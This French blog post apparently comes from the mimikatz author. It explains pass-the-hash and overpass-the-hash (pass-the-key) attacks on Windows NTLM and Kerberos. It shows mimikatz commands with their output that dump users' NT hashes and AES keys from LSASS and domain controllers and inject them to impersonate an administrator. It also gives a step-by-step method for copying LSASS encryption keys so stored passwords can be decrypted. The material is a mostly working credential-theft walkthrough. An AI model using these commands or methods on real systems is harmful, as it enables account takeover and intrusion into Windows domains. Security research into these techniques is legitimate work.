Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.


(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz :: sekurlsa – récupération des clés depuis LSASS

Je l’avais pourtant suggéré lors de mon passage aux PHDays 2012 ; pour dumper les hashes et mot de passe, il suffirait d’aller lire les clés de (dé)chiffrement de LSASS pour éviter d’y injecter la librairie sekurlsa.

sekurlsa_idea
Personne ne l’a fait :(

même pas wce qui, en plus de copier certains patterns / concepts de mimikatz, injecte sournoisement la librairie wceaux.dll pour dumper les mots de passes via WDigest, parfois à l’aide d’un service…

Approche

Le déchiffrement des mots de passe est effectué directement par :
LsaUnprotectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714510.aspx

Le chiffrement des mots de passe est quant à lui effectué par :
LsaProtectMemoryhttp://msdn.microsoft.com/library/windows/desktop/ff714509.aspx

Ces deux fonctions reposent sur : LsaEncryptMemory


Windows NT 5

  • Algorithme : RC4
    Clé : dérivée depuis g_pRandomKey, de longueur g_cbRandomKey (256)
  • Algorithme : DES
    Clé : g_pDESXKey, de longueur 144
    IV : g_Feedback, de longueur 8

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 8 octets de LSASS:lsasrv!g_Feedback vers mimikatz:lsasrv!g_Feedback
  3. Copier les 4 octets (DWORD) de LSASS:lsasrv!g_cbRandomKey vers mimikatz:lsasrv!g_cbRandomKey
  4. Instancier un nouveau tableau de taille mimikatz:lsasrv!g_cbRandomKey octets
  5. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pRandomKey
  6. Copier les mimikatz:lsasrv!g_cbRandomKey octets ciblés par LSASS:lsasrv!g_pRandomKey vers le tableau ciblé par mimikatz:lsasrv!g_pRandomKey
  7. Instancier un nouveau tableau de taille 144 octets
  8. Placer l’adresse de ce tableau dans mimikatz:lsasrv!g_pDESXKey
  9. Copier les 144 octets ciblés par LSASS:lsasrv!g_pDESXKey vers le tableau ciblé par mimikatz:lsasrv!g_pDESXKey

Windows NT 6

  • Algorithme : 3DES
    Clé : référencée par le handle h3DesKey
    IV : InitializationVector, de longueur 8 (sur 16)
  • Algorithme : AES
    Clé : référencée par le handle hAesKey
    IV : InitializationVector, de longueur 16

Méthodologie

  1. Charger lsasrv.dll dans mimikatz
  2. Copier les 16 octets de LSASS:lsasrv!InitializationVector vers mimikatz:lsasrv!InitializationVector
  3. Appeler la fonction mimikatz:lsasrv!LsaInitializeProtectedMemory pour initialiser correctement les handles de clés h3DesKey et hAesKey
    Ces handles pointent vers des structures de ce types :

    typedef struct _KIWI_BCRYPT_KEY {
    	DWORD size;
    	DWORD type;
    	PVOID unk0;
    	PKIWI_BCRYPT_KEY_DATA cle;
    	PVOID unk1;
    } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;

    avec

    typedef struct _KIWI_BCRYPT_KEY_DATA {
    	DWORD size;
    	DWORD tag;
    	DWORD type;
    	DWORD unk0;
    	DWORD unk1;
    	DWORD unk2;
    	DWORD unk3;
    	PVOID unk4;
    	BYTE data; /* etc... */
    } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
  4. Copier les LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size octets de LSASS:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!h3DesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA
  5. Copier les (LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA.size - 2*sizeof(PVOID)) octets* de LSASS:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA vers mimikatz:lsasrv!hAesKey->KIWI_BCRYPT_KEY->KIWI_BCRYPT_KEY_DATA

*il y a deux pointeurs internes à la fin de la structure AES, l’initialisation de départ fait qu’ils sont déjà corrects :)


Une fois ces opérations réalisées, la fonction LsaEncryptMemory fonctionne correctement ! Nous permettant ainsi de bénéficier du même déchiffrement que LSASS dans mimikatz

mimikatz et sekurlsa sans injection ?

soon